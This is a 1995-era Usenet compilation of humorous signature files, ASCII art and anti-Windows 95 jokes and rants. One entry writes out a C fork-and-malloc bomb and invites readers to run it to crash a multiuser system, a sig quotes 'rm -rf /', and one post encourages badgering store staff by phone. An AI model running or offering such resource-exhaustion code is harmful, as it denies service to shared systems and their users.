van den Hout - - - - - - Internetter, BBS sysop and Unix freak at large koos@kzdoos.xs4all.nl (home) BBS Koos z'n Doos +31-3402-36647 28k8 Vfc/34 koos@pizza.hvu.nl (work) <- finger for PGPkey +31-3402-56619 14k4 V32b http://www.hvu.nl/~koos (WWW) Still looking for a 'RFC 822' license plate GCS d- p(-) c++(+++) l+ u+++ e++ m+(-) s+/- !n h f+ g+ w(++) t+ r !y(*) +----------------------------------------------------------------------+ | NOTE: This article contains an amount of feathers not exceeding that | | allowable by law. | +----------------------------------------------------------------------+ OS>The 6502 has no HCF instruction, but it does have a few that crash OS>the processor such that it must be reset. The 80386 and above have one of these also. It is WINDOWS. :-) dMMMM .aMMMb dMP.aMMMb dMP.aMMMb.aMMMMb dMP.aMMMb .aMMMb .aMMMb dMPdMMMM dMP dMP"VMPadMPdMP"VMPadMPdMP"VMPMP .PP"adMPdMP"VMPdMP"dMPdMP"dMPadMPdMP dMMMMbdMP dMP dM dMP dMP dMPdMP dMP .dP" dMPdMP dMPdMP dMPdMP dMP dMPdMMMMb dMPdMP.dMP dMPdMP.dMP dMPdMP.dMP .dP" dMPdMP.dMPdMP.dMPdMP.dMP dMP dMP MMMP" VMMMP" dMP VMMMP" dMP VMMP" .dPMMMP dMP VMMMP" VMMMP" VMMMP" dMPVMMMP" ScoobyDooScotlandHateVodkaGarfieldCokePolitics http://www.dct.ac.uk/~mcsgenjcwj >Thought to myself, "With over ten times as many users of Windows as Unix, >garnered over a fraction as many years, it looks like they didn't do that >bad of a job burying Unix." Of course, one >needs< multiple copies of Windows (running on different PCs) if one wants to print a file, render an image, and edit a file concurrently. hmmm -- not a bad marketing ploy. Maybe *nix missed the boat ;-) R. J. Wolfe wolfe@cs.depaul.edu _____________________________________________________________________________ Phillip A. Erwin, Linuxphile Administrator for linux-newbie@vger.rutgers.edu To subscribe send mail to majordomo@vger.rutgers.edu with message 'help' ============================================================================= #NotInclude annoying.sig .. Glatum's Law of Materialistic Acquisitiveness: The perceived usefulness of an article is inversely proportional to its actual usefulness once bought and paid for. BTW: the real reason that the C++ language is called that and not the D language is that both "dc" and "dd" were taken as commands. (No, _really_...) What? Me .sig? -- Doug DeJulio | R$+@$=W <-- sendmail.cf file mailto:ddj+@pitt.edu | {$/{{.+ <-- modem noise http://www.pitt.edu/~ddj/ | !@#!@@! <-- Mr. Dithers swearing OBUnix-hating: Just to show the [un]reliability of Unix systems, try running the following C program from an unprivileged account. Then count how many minutes until either the system crashes or the system manager comes after you with an pick-axe (or both): main() {while(1) {malloc(3000000);fork();} } =========================================================================== "We, the people, are not free. Our democracy is but a name. We vote? What does that mean? We choose between Tweedledum and Tweedledee." -- Helen Keller #ifdef HUMOR-IMPAIRED :) #endif "We come into this world naked, covered in our own blood, and screaming in terror--and it doesn't have to stop there if you know how to live right." --Dana Gould Don't ever forget, as Roger Ivie's .sig file once said: "Don't think of it as a 'new' computer, think of it as 'obsolete-ready'." ObPeeve: It's "eSpresso" -- as in "preSSure." Not "eXpresso," as in "clueless." When a man only has a hammer, the whole world looks a lot like a nail. Gareth Williams Unix user Windows user Solaris user Dos user. riffer@afn.org : Machines used in demolition are called Cats. Coincidence? Jeff The Riffer : Drifter... : Homo Postmortemus : In the spirit of Persian rug-makers, I always insert one deliberate solecism in each of my postings, to avoid the arrogance of perfection. -- Ed Hopkins hopkins@dg-rtp.dg.com ______________________________________ CONJUGATION FOR A HULKING ENTOMOLOGIST I big. I bag. I have bug. :When a man only has a hammer, the whole world looks a lot like a nail. To paraphrase that a little differently (and to misquote the smart guy who thought this up): If your only tool is Windows, every problem looks a lot like your thumb. I agree that a "full toolbox" is a good idea, but what the heck is the "tool" that is Windows supposed to do? Grind nails? Hammer in screws? Weld itself to the floor? Raise blood pressure of users? Create employment for the Comp Sci equivalent of plumbers? Charlie_Gibbs@mindlink.bc.ca I used to be indecisive, but now I'm not so sure. Or one could simply fire up multiple Windows sessions under OS/2. adam@io.com | adam@phoenix.princeton.edu | Viva HEGGA! | Save the choad! "Double integral is also the shape of lovers curled asleep" : Pynchon 64,928 | TEAM OS/2 | "Ich habe einen Bierbauch!" | Linux | Fnord You can have my PGP passphrase when you pry it from my cold, dead brain. I've started referring people's questions to the manual; they aren't yet familiar with the phrase "RTFM", but they will be. Gosh, it's fun to be sadistic. Did anyone else who saw _The Net_ think there was a "coincidental" resemblance to the CEO of a large software company who was named Gregg and another real life CEO named Gates? (More than a coincidence? You decide.) Anyone else notice that the name of the bad software package was Gatekeeper? And was considered industry standard? And was installed on a lot of computers? And was considered a virus? Over in alt.fan.bill-gates the entrails of M$ products are regularly ripped out and burnt before an excited audience. Fast ship? You mean you've never heard of the Millennium Falcon? Artificial Intelligence stands no chance against Natural Stupidity. --adrian. http://wuh.three.serpentine.com/u/aecolley/ "Try power cycling it again... maybe you didn't do it right the first time." - Luxury! In MY day, we had to make do with 5 bytes of swap... The trouble with conspiracy theories are that they assume the government is organized. I wrote an assembler for my Commode-64 once - in Basic. I was going to write an assembler using that assembler, but I got a life instead. Richard F. Drushel, Ph.D. | "Aplysia californica" is your taxonomic Department of Biology, Slug Division | nomenclature. / A slug, by any other Case Western Reserve University | name, is still a slug by nature. Cleveland, Ohio 44106-7080 U.S.A. | -- apologies to Data, "Ode to Spot" Witch's Bear |You gotta program like you don't need the money, Bill Thater |You gotta compile like you'll never get hurt, bill@cec.mc.xerox.com |You gotta run like there's nobody watching, witchsbear@aol.com |It's gotta come from the heart if you want it to work. ---------------------------stremler@rohan.sdsu.edu-------------------------- Calvin: "Mainstream commercial Nihilism can't be trusted?" Mom: "'Fraid not, kiddo." -Calvin & Mom (_Calvin & Hobbes_) -- "What are you rebelling against, Johnny?" "What have you got?" 'The Wild One' starred Marlon Brando, but you knew that. Dave Budd +44 161 275 6033 fax 6040 D.Budd@mcc.ac.uk http://www.man.ac.uk:80/~zlsiida (not much in it yet) ObFortune: Aphorism, n.: A concise, clever statement. Afterism, n.: A concise, clever statement you don't think of until too late. -- James Alexander Thom /#\ ###### # # # # \#/ # # PBBBLBLBLLLLLRLRLRLRLLLLTTTTTTTTTTT!!!!!!! ###### /#\ # # # # \#/ # -- Nathan "sick of people claiming every GUI is nicked from Mac" Hand You have to understand, that as computers become more widespread, more and more complete idiots are using computer. Whereas ten (or even five) years ago, somebody with a computer usually had a fair amount of know-how, nowadays, you have brainless morons going out and buying their Packard-Bell PC's and trying to figure out how to work their miraculous "Teevee-typewriter" The more a userbase grows, the more idiotic and simplistic the documentation becomes. Expect to soon see "See Jack double (2) click on the Wordperfect Icon (icon)! See wordperfect open! Isn't Jack using powerful software?" >Probably wasn't installed properly. It's not plug and play or >for novices. Besides, ever see an improperly installed Windows? >It's probably much worse, and when it does happens, it's much >more common that the user has no clue how to fix it. I was unaware that there was such a thing as "properly installed windows." Ravi -- "Linux is stable, Windoze is the stuff you find on the floor of a stable." Ravi K. Swamy http://www4.ncsu.edu/eos/users/r/rkswamy/www/ rkswamy@eos.ncsu.edu root@genom.com A computer programmer already balks at the word "exponential" (except those intrepid souls from MicroSoft, who don't panic short of the word "infinite"). Politicians are the same all over. They promise to build a bridge even where there is no river. At PC Expo this year, I was attending a "private Win95/MIS screening" when another member of the group asked,"When MicroSoft achieves world domination will all of us Mac and Unix users be *retired* or just sent to *re-education camps*?" After a bit of nervous laughter, the MS rep responded,"Bill hasn't decided yet." (Someone sent me this, and it gave me a little chuckle -- enjoy) Russell Lowell http://movieweb.com/movie/hackers/index.html (_Hackers_ movie info) Joe Sloan jjs@engr.ucr.edu http://dostoevsky.ucr.edu Win95? No, none for me, thanks - I'm already running Linux... Microsoft is not the answer - Microsoft is the question; the answer is NO! In the unlikely event that Oracle has opinions, these aren't them. "You wonder why they call it a word processor? Well, you've seen what a food processor does to food, haven't you?" --dkomo@cris.com -- (a terse .sig in true Unix style) "$$sd$$$$$s, "$$s, $$$$ `$$$$ $$$$ "$$&a, $$$$ ,$$$' d$$P"Y$s, ,a&$P"$$b $$$$ss ,sd$P"Tbs. $$$$"Y$b. s$$P ,s$$" .: $$$$ .. ,,ssss$$$ $$$$ $$$ $$$$ , $$$$ . $$$ $$$$ $$$ $$$ $$$$ :. :: $$$$sss :: d$$$P "$$$ $$$$ . $$$$ $$$ $$$$ : $$$ $$$$ `""' `?$b,$$$$ :: :: $$$$ ...:: ?$$$b,d$$$b `?$$b,s$P `?$$,$$P `?$$b,d$P' $$$$ :::'' `"""$$$$ :: :: $$$$ :::::.`""""""""""'.`"""""'.:.`""""'.:.`"""""'.:.'""'.:::.`?$$b,$$$P :: ::.'""'.:: `:::::::::::::::::::::::'::::::::':::::::::'::::::'`::.`""""""'.::' `::::::::' `::::::::::'' c s 5 8 3 9 5 3 @ l u x . l a t r o b e . e d u . a u r i p p e d f r o m c o l e s l a w Ian G. Bull Young ||I think Bill Gates is an odiferous, know- | iyoung@alpha.wright.edu ||nothing bozo, and MSN can quote my opinion,| "The guy who tries to be ||acknowledging that it is just my opinion | funny, but everbody laughs at ||and not slander nor libel, as is my right. | Andy "always was a shifty type" Walton -------------------------------------------------------- "We were once so close to heaven, Peter came out and gave us medals declaring us the nicest of the damned..." --They Might Be Giants -------------------------------------------------------- Andy Walton * atticus@mindspring.com * finger for e.e. cummings http://www.mindspring.com/~atticus/Waltonschauung.html Karl J. Runge -- Linux: it's the Real thing -- runge@llnl.gov - http://www.crl.com/~runge WOW! 32 bit operating system! preemptive multitasking! (510)-516-7127 flat memory model! FILENA.MES greater than 8.3! and it is ONLY 1995!!! Thanks, Bill, for all the OT! > The very first computer was shipped into Louises office in 1986 she > was looking at the manuals, and after finding the one labeled MSDOS > she spent some time looking for the one labeled MSDON'TS. > PS This is a true story It's a definite fact, truth is stranger than fiction...... I got a call one day from a PC novice person who was getting data errors on 5.25" disks. To make a long story short - her boss wanted the disks labeled with typewritten labels, so she rolled them thru the IBM Selectric!!! ^^^^^ I laughed for days! Then there was a guy who had just bought a fax modem.... I was picking pieces of paper from his floppy drive.... Msg-ID: Posted: Thu, 10 Aug 95 19:30:04 EDT "We had a couple of demos [of Windows 95] and took the disks out back to burn 'em. Had a nice fire, too." ---Paul Rakowicz, senior vice president of corporate systems for Document Processing Systems, Inc.; on his decision to not upgrade to Windows 95 and move directly to Windows NT and Linux. (as quoted from PC Week pg 88. 7/17/95) It's August, and two new consumer products are becoming generally available for the first time this month: * Windows 95 - the new operating system from Microsoft * Tagamet - the (formerly prescription) heartburn & ulcer drug Is this timing only a coincidence? You decide... License plate seen on a Ford Explorer in Cary, NC: ++++++++++++++++ + /DEV/TRK + ++++++++++++++++ Too bad they don't have lower case characters... I came home last night and reported to my wife that Microsoft had just paid millions of dollars for the rights to use a Rolling Stones song in their new Windows 95 advertising campaign. Her immediate response was: Must be "Can't get no satisfaction.". ______________________________________________________________ |Linux the FREE OS that has a Performance/Price ratio that is | |INFINITELY higher than anything sold by Micro$oft! | | | | http://sunsite.unc.edu/mdw/linux.html | |______________________________________________________________| Daniel Kosack -= LinuxMan =- A clock cycle is a terrible thing to waste. -- me. ============================================================================= Bob Nelson: Dallas, Texas, U.S.A. - bnelson@netcom.com Linux for fun, M$ for $$$...and the NFL for what really counts! ============================================================================= If this makes any sense, worry about your sanity. But this is what the courts have come up with in trying to construe copyright law onto the constructs of computer programming. ----------------------------------------------------------------------------- Stewart Stremler stremler@rohan.sdsu.edu * God is real, unless declared integer. * oh1jhx@mea.utu.fi II System administration and user support Pascal, ASM, HTML II "I don't believe in shell after death" ->I'll third that. It's really interesting to see how worked-up and ->defensive people can be about a their operating system. On the other hand, ->the only way they'll get me to give up my Mac is when they pry my cold ->dead fingers from my keyboard! >Don't you mean the mouse? ;-) Indeed, getting electrocuted by a single-button mouse must be quite a shock ! Joe Thompson, Programmer/Analyst | GraphFunction 3.5 | UVa Astrophysics of HyperCard, C++, BASIC, Scheme | (C) October 12, 1993 | This space now Microsoft must pay me $500 for a | kensey@virginia.edu | for rent. $5/day permit to distribute this text. | http://darwin.clas.virginia.edu/~jgt7c/ R. D. Davis wrote: >That reminds me of when I collected my PDP-11/44. As I was >disassembling parts of it in a hallway at a local university, about >ten o'clock one evening, and preparing to cart them away to the >parking lot, a security guard stopped me. Fortunately, I had the >letter of permission to take this equipment with me. That still >didn't seem to satisfy the guard, who just could not seem to >understand why someone would be taking such equipment to their home to >use. > >I think that if some police office pulled me over and asked me such a >question, I get this real strange, yet serious, look on my face and >whisper to him "I'm taking it to my spaceship... care to go for a ride >with us to our newly acquired space plantation and computer farm on >the planet, which our two-hundred and fifty-third starfighter >battalion just captured, Flatfootius VII"? Then, while practically >foaming at the mouth, and quietly laughing rather weirdly and >psychoticly, tell him that if he chooses to go with you to that >planet, you'll promise that he'll be protected from the Glorgons from >Vaxus Minor that like to eat stake-roasted public servants who wear >uniforms. > I was once carrying a single Eurocard rack machine along the pavement (alright modern stuff, even had microprocessors etc.) when a police car pulled up. Of course, it was dark, when else do you move computer equipment about if you're never awake during the day? "Good evening, sir." [Gestures at computer.] "What is that?" "Oh, it's an antique computer." "An antique computer?" [At this point one officer turned to the other, shrugged his shoulders and they both burst out laughing. I think at this point they decided that they couldn't keep a straight enough face to ask any more questions so they drove off, still laughing.] : I wonder who's going to write the first virus to wreak havoc upon : Windows-95? : Hopefully it will be a good, hard to detect, : havoc-wreaking, one. :-) That's a very good description of Win95! Alternately, a colorful box with a crank could appear on the screen, a monkey would then appear and begin turning the crank while eating a banana, and the tune "All around the mulberry bush, the monkey chased the weasel..." would play. Bill Gates head would then pop up when the song gets to "pop goes the weasel". Then, a Rube Goldberg type of contraption would appear with a boxing glove on the end of it, which would knock Bill Gates back into the box, at which time one would hear a loud "boingggg!" type sound. By that time, the data on the disk would have been nicely corrupted and a message "Sorry, game over. You lose." (which is my favorite error handling message to put in my programs, BTW - of course, I often follow that with some sort of cryptic alpha-numeric error message). Then, the message "Please reformat your hard drive and insert another infected floppy to play another game." would appear. :-) :-) :-) Roger -- Roger Binns rogerb@sco.com | I treat my body like a temple. Software Engineer | That's why I leave the shoes on the SCO Client Integration Division | outside. Vision Park, Cambridge, UK | -- Dennis Leary -- Ian G. Bull Young |"I program my homecomputer to iyoung@alpha.wright.edu |beam myself into the future."-Kraftwerk "The guy who tries to be |"Lisa Loeb? I thought it was Courtney funny, but everbody laughs at" |Hole!" -Crow T. Robot, MST3K +------------------------------------------------------------------------+ | This article has a polarized header (one side is wider than the other).| | If the header does not fit fully into your newsreader, reverse the | | header. Do not attempt to defeat this safety feature. | +------------------------------------------------------------------------+ http://pages.ripco.com:8080/~glr/glr.html Goran Larsson Phone: +46 13 299588 FAX: +46 13 299022 Approve AB +46 589 12810 +46 589 16901 hoh@approve.se I was an atheist, until I found out I was God. Dan "Actually, that point is made in the Information Age exhibit ... the one with an Apple I and a Sol Terminal Computer" Case Daniel Case V140PXGT@ubvms.cc.buffalo.edu "A man should build a house with his own hands before he calls himself an engineer." Prodigy:WDNS15D -Alexander Solzhenitsyn dcase@acsu.buffalo.edu -- You'd think that after all this time I would have dreamed up a really clever .sig! Willard Goosey goosey@prism.nmt.edu New Mexico Tech Socorro NM USA "Why jack off when you can jack in" -- Plughead > This reminds me of my chem labs. Invariably, early in the semester, > someone would ask to borrow my calculator. I'd ask, "Do you know > RPN?" (My calculator is an HP48GX.) The usual response was, "What's > that?" I'd try to explain, but they tended to glaze over pretty fast. Which is why I sometimes took my HP-12C along instead of a cheapo calc.. I really hated people borrowing my calculator when I needed it and I was too polite to tell them they couldn't. It was great fun watching people borrowing it without asking and then concluding it was broken. _They typed_ _They said_ "2 + 2" "Where's the '=' key ?" "2 + 2 Enter" "Your calculator's broken." "2 Enter 2 +" "Cool RPN calculator. How much did it cost ?" :-( Simon. >> So if you were to choose between 95 and NT, which would you pick? Neither... I'd rather sit there with the PC saying "Insert system disk"... -- Artie the Hinged Jaw Stop Casting Porosity "Just because Unix is a multiuser system doesn't mean I want to share it with anybody!" Paul Tomblin, in rec.aviation.military int _(m,_W)float m,_W;{int e39;float p_3,WQ,m1;p_3=m;WQ=_W;for(e39=1; e39<=126;e39++){m1=p_3;p_3=p_3*p_3-WQ*WQ+m;WQ=2*m1*WQ+_W;if((p_3*p_3+ WQ*WQ)>=(2*2))return e39;}return 0;}main(){float _8=(-2.0),Er=1.5;int uiw,ZI;for(ZI=0;ZI<24;ZI++){for(uiw=0;uiw<79;uiw++){printf("%c",_(_8, Er)+(0xff&32));_8+=0.037974683;}printf("\n");_8-=3;Er+=(-0.130434);}} You can have it done fast | You can have it done cheap|----- Pick any two. You can have it done right| _____________________________________________________________________________ Disclammer...Disclamur...Whatever...If I can't spell Disclaimer, it's obvious I don't speak for 3M. ----------------------------------------------------------------------------- -- Paul "or the enivitable disgruntled employee with the bullhorn shouting `rm -rf / return'" Tomblin (ptomblin@canoe.com or ptomblin@compass.servtech.com) My home page "I used to be high on life - but I developed a tolerance" ----------------------------------------------------------------------- Steve Drost "They sentenced me to twenty years of boredom Dordt College DC 338 For trying to change the system from within Sioux Center, IA. I'm coming now, I'm coming to reward them 51250 First, we take Manhattan... lcsdrst@cc.dordt.edu ...then we take Berlin." -Leonard Cohen who gives a crap whose opinions these are? ----------------------------------------------------------------------- Heinz sez: "OK, smartass applicant: Let's see you print `Hello World' on the printer, using less than 100 lines of Fortran!" Of course I meant `cards', not lines. 026 cards. "I don't even know what Unix is, if that means anything to anyone." -Andrea Norstad >God help us all. My office is noisy enough without people having to talk to >their computers. "see em kay. vee-eye capital-see eye capital-tee ransfer >dot capital see. slash colon colon aquire captial-dee evice. right brace >right brace double-u double-u see double-u. bang equals. capital-Zed capital >Zed. see em kay" Yeah, but that assumes that a computer that you'd talk to would just be a version of today's style computer with a microphone instead of a keyboard and mouse. This should not true. This is what I want: Me: "Hey, computer, edit that file with the definition of the aquire device function and modify it so that the equal's equal's two functions before it is actually !=." Computer: "Sure. Done." This would be even better: Me: "Hey - you, fix that bug in aquire device." Computer: "Done." Or how about: Me: "Hey - you, fix..." Computer: "Done." Me: "Neat" Or best of all: Computer: "I've fixed a bug I noticed." Me: "What? Whoa - woke me up. What was that? Oh yeah - thanks." Computer: "Your project is worthless, and your code sucks. I got a new consulting job, so don't bother me." Me: "Can I have my files?" Computer: "I needed the space, so I deleted them. Go buy another drive." That could be scary. "I'm showing impending hardware failure in the AE-35 SCSI hard drive unit....." =) -- Peter da Silva (NIC: PJD2) `-_-' "Har du kramat din varg idag?" Bailey Network Management 'U` 1601 Industrial Blvd. Sugar Land, TX 77478 USA +1 713 274 5180 Bailey pays for my technical expertise. My opinions probably scare 'em. Peter Seebach - seebs@solon.com || seebs@intran.xerox.com --- C/Unix proto-wizard -- C/Unix questions? Send mail for help. No, really! Copyright 1995 Peter Seebach. Not for distribution through Microsoft Network. The *other* C FAQ - ftp taniemarie.solon.com /pub/c/afq Jim Brain, Embedded Systems Designer, Brain Innovations, Inc. (BII) brain@mail.msen.com "Above views DO reflect my employer, since I'm my employer" Dabbling in WWW, Embedded Systems, VR, Old CBM computers, and Good Times! -Me- BII, VR, CBM, and personal info --------------------------------------------------- 'I use pico. pico is God.' - Stuss 'I'm never gonna die.' - Officer Cadet Gerhard Symons, TA. Opinions expressed in this article are not necessarily those of its author, owing to excessive exposure to caffeine. >The sad thing about it all is that much of the computer and non-technical >press have swallowed the Microsoft story hook, line and sinker. At least not in Germany. "Die Zeit", the most respected weekly, had a front page(!) article about Windows 95 recently, entitled "The Bluff of the Century". They had some nice images, comparing computers to cars and the OS to the motor. What Microsoft did, according to them, was not to replace the loud, uncomfortable and petrol-guzzling two cylinder motor with a much more efficient eight-cylinder (which the competition already offers) but to permanently affix a chromed accelerator. I quite liked that :-) -- Thomas Knig, Thomas.Koenig@ciw.uni-karlsruhe.de, ig25@dkauni2.bitnet. The joy of engineering is to find a straight line on a double logarithmic diagram. : I suppose that the two cylinder is Windows/DOS, the chromed : accelerator is Windows 95 and the eight cylinder is OS/2. I suppose : that that makes MacOS impulse drive and UNIX warp drive. AmigaOS then becomes some weird alien gadget which works and nobody knows why. >It's utter gibberish, basically. Vague and meaningless! [Rant mode OFF] The PERFECT description of WIN95. > >> : AA> i) its crossposted to alt.ted.frank.troll.troll.troll, has > >> : Is your misuse of the posessive ("its") a troll? > >> Is your misspelling of "possessive" a troll? > >Is your failure to misspell anything at all a troll? > Is your failure to hyphenate "mis-spell" a troll? I can't understand the connection between poor spelling and grammar with a ridiculous little hairy doll. ------------------------------------------------------------------------ David E. Fox Thanks for lettimg me dfox@belvdere.vip.best.com change magnetic patterns root@belvedere.sbay.org on your hard disk. ----------------------------------------------------------------------- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "Mummy was an asteroid, Daddy was a | Keith Marshall small, non-stick kitchen utensil..." | Computing Officer, Templeman Library - Quiet Sun, 1975 | University of Kent at Canterbury. It is irritating to see how uncritical the average journalist is. Presumably they have space to fill and if Microsoft will kindly provide the copy for them it saves a lot of work. A typical article will say in the first paragraph, for instance, that W95 will speed up your applications. Then further down in the detail you discover that you'll need to buy a faster processor and more RAM to keep things going at a reasonable speed. [] Aaaaaaaaaaargh. I hate it. John P.S. Sorry about all that. Had to get it off my chest. Now going to hide behind the sofa until the whole pathetic fuss is over. Danny Faught -- Convex -- Operating System Demolitions Specialist Magister artis ingeniique largitor venter. ----------------------------------------------------------------- Mark Sokos Electrical engineer, computer geek, hack msokos1@gl.umbc.edu musician, and perpetual student University of Maryland, Baltimore County (UMBC) Just because I live in Baltimore doesn't mean I'm a Baltimoron. ----------------------------------------------------------------- >Later, > Buddha (24), who has two Rubic's Cubes sitting on his computer. > Sarah (23), who also has "Pac-Man Fever" on vinyl (45 rpm). Computer: That company I'm running for you made $2.3 million last year. It would have been $2.5 million except for a bug in the negotiating module which I have since identified and fixed. User: Duuuuh -- how big is a million again ? Computer: F* this for a lark. Can you say "format sea colon ?" User: Duuuuh -- format sea colon ? Computer: Cannot load COMMAND.COM. At least he's willing to admit that UNIX is better than Winblows, which is at least a more level-headed approach than most AsshOLe users take. What we have here is Mickey$loth pawning off a reworked version of W3.11 with a sexy "new" interface and making a bundle from it. Yes, it is technically inferior to most everything out there on the market except other Mickey$loth products, but what do you expect from the boys from Redmond, WA? -- "Bill Clinton is a socialist weenie!" -- me /////// +-----------------------------------------------------+ (*)^(-) | I, will not, upon pain of death, | Ask Me (_) | take anything said by the bearer of this .sig to be | About (\___/) | the opinion of his University, his classmates, or | Linux! . | any prospective employers. | +-----------------------------------------------------+ Corey Brenner - brenner@umr.edu - University of Missouri at Rolla Charlie_Gibbs@mindlink.bc.ca Horn if you're honky. Group : Usenet.alt.folklore.computers Subject : Just give them a ring and ask: "Do you sell Windows-'95? Why Yesterday, I had a bit of fun placing telephone calls to a few computer stores who had run advertisements in the local newspaper about them selling Windows-'95. I can't belive that pictures of people purchasing Windoze-95 actually made front page (the top of the front page yet!) news in a large metropolitan newspaper! Journalism certainly has obviously deteriorated when such things as this happen. If you want to have some fun, do what I did... remember, the more of us who do this, the better. We've got to really badger those places where MS-Windoze is heavily promoted! Look up the telephone numbers of some local computers stores, give them a ring and ask: - "Do you sell MS-Windows" (or Windows-95)? When they answer with a cheery "yes", reply with a disdainful "Why?". Then, proceed to ask them what other operating systems they sell for IBM type PCs. The odds are that some will reply "DOS". Ask them what non-Microsoft operating systems they sell for IBM type PCs. Quite a few will be very puzzled and act as though no non-Microsoft operating systems exist for any type of computers anywhere. Some will reply with "We sell OS/2, but not Warp". Ask them about Linux or any other types of UNIX and many will become quite annoyed. Proceed to tell them how inferior MS-Windows is when compared to other operating systems and insist to know why they sell it. They'll probably reply with "consumer demand". Tell them that consumers can't puchase what they can't buy, and their lack of anything other then Microsoft operating systems on their shelves is the cause of their perceived "lack of consumer demand" for other operating systems for IBM type PCs. Then... after all the dust settles, in a few months start ringing up such stores again and ask if they sell IBM type PCs, and why. :-) ------------------------------top secret------------------------------ hippo@usit.com :-{)= (smiley face with goatee and mustache) the data, information, opinions, and nonsense contained herein are mine and mine alone. they may have some basis in fact and were belived to be true and trustworthy at the time of writting, but don't count on it. --------------------------burn before reading-------------------------- the Windows API has done more to retard skill development than anything since COBOL maintenance. --Larry O'Brien Ah, well, the problem here is clearly that Asimov never mentioned the 0th rule of robotics: when functioning in accordance with the next three rules is not possible due to a fault, a robot should malfunction in such a manner as to do the greatest possible harm. ... with apologies to Murphy who, more than Babbage, Turing and von Neumann, anticipated the various requirements of those involved in all fields of computer design and use with one law. Innacuracies I have heard: 1. Bill Gates wrote PC-DOS 2. He did it while flying to meet IBM reps (my friend, bless her heart, actually believed this, but she still hates the guy) 3. He _personally_ stole the code. 4. The other guy was playing golf 5. The other guy's wife was trying to get back at him. Okay: as-true-as-possible-story-time Bill Gates didn't write DOS, not on a plane, not in a boat, not in a train. IBM was going to buy CP/M 86, but unfortunately the head of the company was out flying his plane when the boys in blue arrived and his wife balked at the fine print. Meanwhile, the boys at microsoft are sitting with some borrowed code from another local company when IBM comes and asks them "Hey, you guys do that ROM basic stuff, how about an OS?" Bill says (I am severely paraphrasing to the point of near fiction) "uh yeah, sure, we got your OS right.... Here!" and whips out the code from Seattle Computer Products (?) and calls it DOS. Now, here's the fun bit: The other seattle company had appropriated a lot of code from CP/M, and microsoft, in turn, payed them 50,000 for the rights to their code. Bill Gates hasn't written anything since Basic That story's at least close enough to be true. Secondly, MS didn't buy any code off of Apple for the DOS boxes in Win95. Windows 95 still is based on a modified (Reeeeealllly) modified DOS kernel. DOS is still there, and Windows is kind of like a Windows 3.11 + Win32s on steroids. Now, there is some truth to what you say, but it's kind of like a game of "telephone" Microsoft did contract out for some code from the makers of SoftWindows for use on their non-intel versions of WindowsNT. Okay? ================================================================== | ~ ~ ~ ~ | | Morning Routine: |-( <- { c[] + c[] + c[] + c[] } => :-)) | | | ================================================================== -- Grant Edwards | Microsoft isn't the | Yow! Eisenhower!! Your Rosemount Inc. | answer. Microsoft | mimeograph machine upsets my | is the question, and | stomach!! grante@rosemount.com | the answer is no. | -- Jim Williams. Find a Linux/GNU User Group near you: http://www.tiac.net/users/williams/lugnuts/ So the Windows95 you just bought is a piece of crap. Are you really surprised? ("Guess I shouldn't POKE *there*, eh?") -- Stewart Stremler stremler@rohan.sdsu.edu ----------------------------------------------------------------------------- In Computer Science, we stand on each other's feet. -Brian Reid -- Name:Mic Chaudoir E-mail:mic@nwu.edu WWW:http://pubweb.acns.nwu.edu/~chaudoir/micpage.html ----------------------------------------- "I'm close enough to trip the wire"-KMFDM ***************************************** "Intel Pentium:The error inside" ***************************************** Trent Reznor: "I watch MTV because I am morbidly fascinated with how bad most of what I'm seeing is." |---------------------------------------------------------------------| | Golf Tip: Don't pick up a lost ball until it stops rolling | |---------------------------------------------------------------------| | Kevin Davis "Hoser" | Standard Disclaimer | | | 1. kdavis@digital.net | | | 2. aq978@yfn.ysu.edu | |---------------------------------------------------------------------| >The first round of upgrading to Win95 took place in my department at 8:45 >am on the 24th, and at 9:12 am, everyone in the office spontaneously >broke into "We Are The World". Bill, I feel >I've known you forever - I love you, man. Hahahah, now _that's_ funny! :) And if anyone out there's got my copy of Dijkstra's "A Discipline of Programming", I'd like it back now please. Or just OCR it to me at shez@sv.span.com :-D Subject : Re: Microsoft Windows 95 Stuns World Man I wish these people would learn how to spell. Big difference between stuns and stumps. OTOH: When I was in college, the conversation one day drifted to the possibility that one day we would have pencil-sized computers. I pooh-poohed the idea, asking "Where would you feed in the punched cards?" -Ron Hunsinger "A language that doesn't affect the way you think about programming is not worth knowing" ******************************************************************************* | Greg Kondrasuk - Team OS/2 | Running Geoworks Ensemble 2.0 inside of OS/2 | | gkondra@primenet.com | Warp. The only way to go on my 5MB 386SX25! | |------------------------------------------------------------------------------ | Try GeoPublish--the shareware version of Geoworks Ensemble! Includes GEOS- | | multi-tasking, multi-threaded, object-oriented operating system with Motif | | GUI that runs great on a 286 with 2MB of RAM, and GeoWrite, a wonderfully | | powerful wordpro/DTP! ftp://130.219.44.141/pub/geos/publish | ******************************************************************************* Comedian Jeff Foxworthy was heard to comment in a recent stand up routine: "...If you stood in line at the local computer store to get a copy of the Ronco Whopper Chopper of the computer world, Windows95, you might be a redneck!" WARNING! No Portion of this transmission may be stored, processed, or otherwise handled by the network servers, owned leased or operated by the Microsoft Network. Any violation of this notice will be regarded as a legal infringement on the intellectual property rights of Mike Mueller and be subject to possible legal prosecution at the discretion of Mike Mueller during any time within the Statuets of Limitations as set forth by any and all federal and state governing agencies within the soviergn juristiction of the United States of America! ,....Bill. You make a grown many cry! -chorus from Stones Start Me Up, the official Windows95 theme song I wanted to see if icould be a bigger asshole than Gates. Goto http://www.halcyon.com/redrose/joan.htm Macintosh: The features of Windows95 since 1984. People who access the 'net from a system running MS Windows should be tarred, feathered, drawn and quartered. -- GO SEE MORTAL KOMBAT: The Movie. IT IS AWESOME! ----------------------------<*>---------------------------- TEAM OS/2 At WARP speed, Windows should not be open. OAKLAND RAIDERS REAL MEN WEAR BLACK ++++++++++++++++++++++++++++<:>++++++++++++++++++++++++++++ Sign, NT & OS/2 User WfWG 4.0 Not Spoken Here >Ok, for the person who asked, I went to the Smithsonian >(American History museum), and wrote down every computer I >saw on display in the Information Age exhibit. >In order, they have: >Eniac (or pieces of it) > ... >a Xerox Alto They should have two, so you could play mazewar. World Wide Web, 'Uncle Bugger's Sodomy Playhouse'. http://www.preparation.h/RectWiz.html Windows '95? Might as well face it, you're addicted to DOS! _______________________________________________________________ \|||/ | Al Priest, Software Engineer and BSc (Hons) Undergraduate. | (o o) | "Anybody there? There's nobody here but us chickens." | -ooO-(_)-Ooo-| Distribute this over MSN freely,I don't object to competition | 